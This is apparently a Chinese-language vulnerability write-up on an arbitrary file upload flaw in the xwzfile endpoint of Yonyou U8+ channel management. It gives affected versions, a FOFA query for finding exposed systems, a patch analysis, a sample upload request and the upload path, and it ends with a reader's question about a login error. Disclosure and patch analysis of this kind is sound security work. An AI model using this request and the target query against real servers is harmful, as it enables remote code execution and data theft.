漏洞简介
用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 xwzfile 接口。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13
fofa语法
title="渠道管理(高级版)"
漏洞分析
根据补丁变化

直接看 UploadWedgeServlet 在那里引用了
<!-- 新万泽费用报销单附件接口 -->
<servlet>
<servlet-name>UploadWedgeServlet</servlet-name>
<servlet-class>com.gxfcsoft.framework.core.UploadWedgeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadWedgeServlet</servlet-name>
<url-pattern>*.xwzfile</url-pattern>
</servlet-mapping>
ok,根据servlet的映射,任意以.xwzfile 结尾的请求都会经由UploadWedgeServlet 处理,跟进看下它的实现逻辑,看补丁修复也是正则白名单检测

保存文件名为上传的文件原名,无任何其他操作,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!和U8+渠道管理(高级版) imagedo 文件上传漏洞一模一样的漏洞成因!
漏洞复现
POST /temp.xwzfile HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.PNG"
TEST
------WebKitFormBoundary--

根据getAttachAbsoluteDirectory方法可知

上传位置默认为 /userfile/default/attach/ 目录下,访问上传文件

成功执行我们上传代码
官方补丁修复也很直接,直接正则检测后缀是否为白名单




{"code":1,"errormsg":"please log in first"}
是需要登陆的意思嘛?